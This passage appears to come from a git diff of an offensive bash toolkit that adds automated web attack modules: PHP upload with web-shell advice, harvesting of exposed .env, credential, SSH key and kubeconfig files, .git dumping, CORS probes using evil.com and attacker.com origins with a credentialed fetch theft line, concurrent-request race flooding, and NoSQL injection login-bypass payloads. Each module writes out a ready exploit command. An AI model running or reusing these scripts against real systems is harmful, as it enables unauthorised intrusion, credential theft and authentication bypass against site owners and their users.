-F "file=@${tmpfile};filename=test.php.jpg" \
-F "file=@${tmpfile};filename=test.png;type=image/png" \
"$target" 2>/dev/null)
rm -f "$tmpfile"
if echo "$response" | grep -qi "uploaded\|success\|200\|stored"; then
print_find "File Upload Vulnerability!" "PHP file accepted as upload"
echo "SEVERITY: HIGH
VECTOR: Unrestricted File Upload
DETAIL: Server accepted PHP file upload on $target
EVIDENCE: Upload response indicates success
EXPLOIT: Upload PHP web shell for RCE" > "$REPORTS_DIR/.finding_$(date +%s)_fileup.txt"
findings=$((findings + 1))
fi
else
print_skip "No upload forms detected"
fi
return $findings
}

91
vectors/16-backup-files.sh Executable file
View File

@@ -0,0 +1,91 @@
#!/usr/bin/env bash
# Vector 16: Backup & Config File Exposure
# Desc: Find exposed backup files, config dumps, source code
# Detect: Any web server
# Severity: HIGH
# Tools: curl
vector_backup() {
local target="$1"
local report="$2"
local findings=0
local base=$(echo "$target" | sed 's|\(https\?://[^/]*\).*|\1|')
print_info "Scanning for exposed backup/config files..."
local files=(
".env"
".env.bak"
".env.backup"
".env.local"
".env.production"
"config.php"
"config.php.bak"
"config.bak"
"config.old"
"db_backup.sql"
"backup.sql"
"dump.sql"
"database.sql"
"wp-config.php"
"wp-config.php.bak"
"config.php~"
"composer.json"
"package.json"
"npm-shrinkwrap.json"
".htaccess"
".htpasswd"
"phpinfo.php"
"info.php"
"test.php"
"admin.php"
"credentials.txt"
"passwords.txt"
"secrets.yml"
"credentials.json"
"aws.json"
"azure.json"
"gcp.json"
"id_rsa"
"id_rsa.pub"
".gitignore"
"dump.rdb"
"mongodump.gz"
"error.log"
"debug.log"
"install.log"
"access.log"
"Dockerfile"
"docker-compose.yml"
"kubeconfig"
".kube/config"
)
for file in "${files[@]}"; do
local code=$(curl -s -o /dev/null -w "%{http_code}" --connect-timeout 4 --max-time 8 "${base}/${file}" 2>/dev/null)
if [[ "$code" =~ ^[23] ]]; then
local size=$(curl -s --connect-timeout 4 --max-time 8 "${base}/${file}" 2>/dev/null | wc -c | tr -d ' ')
if [ "$size" -gt 10 ]; then
local preview=$(curl -s --connect-timeout 4 --max-time 8 "${base}/${file}" 2>/dev/null | head -c 200)
print_find "Exposed: /$file" "($size bytes) HTTP $code"
local sev="HIGH"
if echo "$file" | grep -qi "\.env\|password\|secret\|credential\|key\|dump\|backup"; then
sev="CRITICAL"
fi
echo "SEVERITY: $sev
VECTOR: Exposed File - $file
DETAIL: Sensitive/config file exposed at ${base}/$file
EVIDENCE: HTTP $code, $size bytes, preview: $preview
EXPLOIT: Download: curl -O ${base}/$file" > "$REPORTS_DIR/.finding_$(date +%s)_exposed-${file//\//_}.txt"
findings=$((findings + 1))
fi
fi
done
return $findings
}

40
vectors/17-git-exposure.sh Executable file
View File

@@ -0,0 +1,40 @@
#!/usr/bin/env bash
# Vector 17: .git Repository Exposure
# Desc: Exposed .git directory leaking source code
# Detect: Any web server
# Severity: CRITICAL
# Tools: curl, git
vector_gitex() {
local target="$1"
local report="$2"
local findings=0
local base=$(echo "$target" | sed 's|\(https\?://[^/]*\).*|\1|')
print_info "Checking .git exposure..."
local git_url="${base}/.git/HEAD"
local response=$(curl -s --connect-timeout 5 --max-time 10 "$git_url" 2>/dev/null)
if echo "$response" | grep -qi "ref: refs/heads/\|refs/heads/master\|refs/heads/main"; then
print_find ".git HEAD exposed!" "Full git repo may be downloadable at $base/.git/"
# Check more .git files
local config=$(curl -s --connect-timeout 5 --max-time 10 "${base}/.git/config" 2>/dev/null)
local objects_check=$(curl -s -o /dev/null -w "%{http_code}" --connect-timeout 5 --max-time 10 "${base}/.git/objects" 2>/dev/null)
echo "SEVERITY: CRITICAL
VECTOR: .git Repository Exposure
DETAIL: Complete .git directory exposed at ${base}/.git/
EVIDENCE: .git/HEAD accessible with content: $response
EXPLOIT: Use git-dumper: git-dumper $base/.git/ ./repo-out/
Or: wget -r $base/.git/" > "$REPORTS_DIR/.finding_$(date +%s)_git-exposure.txt"
findings=$((findings + 1))
print_info "Use: git-dumper $base/.git/ ./repo/"
else
print_skip "No .git exposure detected"
fi
return $findings
}

55
vectors/18-cors.sh Executable file
View File

@@ -0,0 +1,55 @@
#!/usr/bin/env bash
# Vector 18: CORS Misconfiguration
# Desc: Permissive CORS allowing cross-origin data theft
# Detect: API endpoints with Access-Control headers
# Severity: MEDIUM
# Tools: curl
vector_cors() {
local target="$1"
local report="$2"
local findings=0
print_info "Testing CORS configuration..."
local origins=("https://evil.com" "null" "https://attacker.com" "http://localhost" "https://evil.$domain")
for origin in "${origins[@]}"; do
local headers=$(curl -sI --connect-timeout 5 --max-time 10 \
-H "Origin: $origin" \
-H "Referer: ${origin}/" \
"$target" 2>/dev/null)
local acao=$(echo "$headers" | grep -i "^access-control-allow-origin:" | tr -d '\r' | sed 's/[Aa]ccess-[Cc]ontrol-[Aa]llow-[Oo]rigin: //')
local acac=$(echo "$headers" | grep -i "^access-control-allow-credentials:" | tr -d '\r' | sed 's/[Aa]ccess-[Cc]ontrol-[Aa]llow-[Cc]redentials: //')
if [ -n "$acao" ]; then
if echo "$acao" | grep -qi "^\*$"; then
print_find "Wildcard CORS!" "Access-Control-Allow-Origin: *"
echo "SEVERITY: MEDIUM
VECTOR: CORS Wildcard
DETAIL: Wildcard CORS allowed on $target
EVIDENCE: Access-Control-Allow-Origin: *
EXPLOIT: Cross-origin data theft from any domain" > "$REPORTS_DIR/.finding_$(date +%s)_cors-wildcard.txt"
findings=$((findings + 1))
break
elif echo "$acao" | grep -qi "$origin"; then
print_find "Reflective CORS!" "Origin $origin reflected in ACAO"
echo "SEVERITY: MEDIUM
VECTOR: CORS Reflection
DETAIL: CORS reflects arbitrary origins on $target
EVIDENCE: Origin '$origin' reflected in ACAO header
CREDENTIALS: $acac
EXPLOIT: Steal data via: fetch('$target', {credentials:'include'})" > "$REPORTS_DIR/.finding_$(date +%s)_cors-reflect.txt"
findings=$((findings + 1))
break
fi
fi
done
if [ "$findings" -eq 0 ]; then
print_ok "CORS configuration looks secure"
fi
return $findings
}

39
vectors/19-race-condition.sh Executable file
View File

@@ -0,0 +1,39 @@
#!/usr/bin/env bash
# Vector 19: Race Condition
# Desc: TOCTOU, concurrent request race conditions
# Detect: Coupon codes, transfers, voting, limited-use operations
# Severity: MEDIUM
# Tools: curl
vector_race() {
local target="$1"
local report="$2"
local findings=0
print_info "Testing Race Condition vectors..."
# Look for potential race targets
local page=$(curl -s --connect-timeout 5 --max-time 10 "$target" 2>/dev/null)
local race_indicators=""
echo "\$page" | grep -qiE "coupon|discount|promo|free trial|voucher|transfer|withdraw|claim|vote|review|submit" && race_indicators="yes"
if [ -n "$race_indicators" ]; then
# Find endpoints to race
local endpoints=$(echo "$page" | perl -nle 'print \$1 while /(action="[^"]*"|href="[^"]*")/g' | grep -iE "submit|claim|redeem|transfer|vote" | head -3)
if [ -n "$endpoints" ]; then
print_warn "Potential race condition targets found - manual testing recommended"
print_info "Send multiple concurrent requests to the same endpoint"
echo "SEVERITY: MEDIUM
VECTOR: Potential Race Condition
DETAIL: Possible race condition targets on $target
EVIDENCE: State-changing operations detected: coupon/claim/vote/transfer
EXPLOIT: Send 50+ concurrent requests: for i in {1..50}; do curl -X POST [endpoint] & done" > "$REPORTS_DIR/.finding_$(date +%s)_race.txt"
findings=$((findings + 1))
fi
fi
return $findings
}

54
vectors/20-nosqli.sh Executable file
View File

@@ -0,0 +1,54 @@
#!/usr/bin/env bash
# Vector 20: NoSQL Injection
# Desc: MongoDB injection via JSON operators ($ne, $gt, $regex)
# Detect: Node.js/Express apps, MongoDB backends
# Severity: HIGH
# Tools: curl
vector_nosqli() {
local target="$1"
local report="$2"
local findings=0
print_info "Testing NoSQL Injection vectors..."
# Check for JSON content types or Node.js indicators
local headers=$(curl -sI --connect-timeout 5 --max-time 10 "$target" 2>/dev/null)
# Test POST endpoints
local endpoints=("/login" "/api/login" "/auth" "/api/auth" "/user" "/api/user" "/graphql")
local base=$(echo "$target" | sed 's|\(https\?://[^/]*\).*|\1|')
for endpoint in "${endpoints[@]}"; do
# NoSQL injection payloads
local nosql_payloads=(
'{"username":{"$ne":""},"password":{"$ne":""}}'
'{"username":{"$gt":""},"password":{"$gt":""}}'
'{"username":{"$regex":".*"},"password":{"$regex":".*"}}'
'{"$where":"1==1"}'
'{"username":"admin","password":{"$ne":""}}'
'{"username":"admin","$where":"1==1"}'
)
for payload in "${nosql_payloads[@]}"; do
local response=$(curl -s --connect-timeout 5 --max-time 10 \
-X POST \
-H "Content-Type: application/json" \
-d "$payload" \
"${base}${endpoint}" 2>/dev/null)
if echo "\$response" | grep -qiE '"token"|"success":true|"loggedIn"|"authenticated"|200|"session"'; then
print_find "NoSQL Injection!" "Authentication bypass via $endpoint"
echo "SEVERITY: CRITICAL
VECTOR: NoSQL Injection
DETAIL: NoSQL injection on ${base}${endpoint}
EVIDENCE: Authentication bypass with $payload
EXPLOIT: curl -X POST ${base}${endpoint} -H 'Content-Type: application/json' -d '$payload'" > "$REPORTS_DIR/.finding_$(date +%s)_nosqli.txt"
findings=$((findings + 1))
break 2
fi
done
done
return $findings
}